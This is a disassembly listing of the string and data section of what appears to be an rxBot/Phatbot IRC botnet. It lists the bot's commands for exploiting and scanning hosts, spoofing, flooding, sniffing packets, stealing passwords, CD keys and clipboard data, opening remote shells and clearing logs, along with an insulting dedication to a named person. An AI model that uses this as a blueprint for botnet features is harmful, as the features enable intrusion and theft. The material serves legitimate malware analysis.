		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B180	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B1A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1D4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B210	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B27C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C74o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; ___:00437FA4o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C5Co ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C7Co ...
		unicode	0, <n>,0
unk_42B37C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3F4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B40C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B454	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B47C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B480	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B48C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B494	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B504	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B518	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B51C	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B52C	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B530	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B59C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5DC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B614	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B640	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B680	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B6BC	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B714	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B724	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B810	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B844	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B884	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B8B0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8EC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B914	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B924	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B930	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B940	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B950	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B984	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9D4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42BA00	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42BA18	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA54	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA74	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA78	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA90	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BAC8	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BAFC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BB18	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB34	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB70	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB94	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BBB4	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBD4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC34	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC60	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC7C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BCC0	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BD10	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD3C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD60	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD9C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDD8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE14	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE50	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE8C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BEC0	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BF18	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF54	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFD4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C014	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C050	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BFCo
					; sub_401ACD+4FA1o
aAsn445		db 'asn445',0           ; DATA XREF: sub_401ACD+1BE7o
		align 4
dword_42C0C4	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 10h
unk_42C1A0	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1D4	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1E8	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1EC	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1F8	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 10h
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
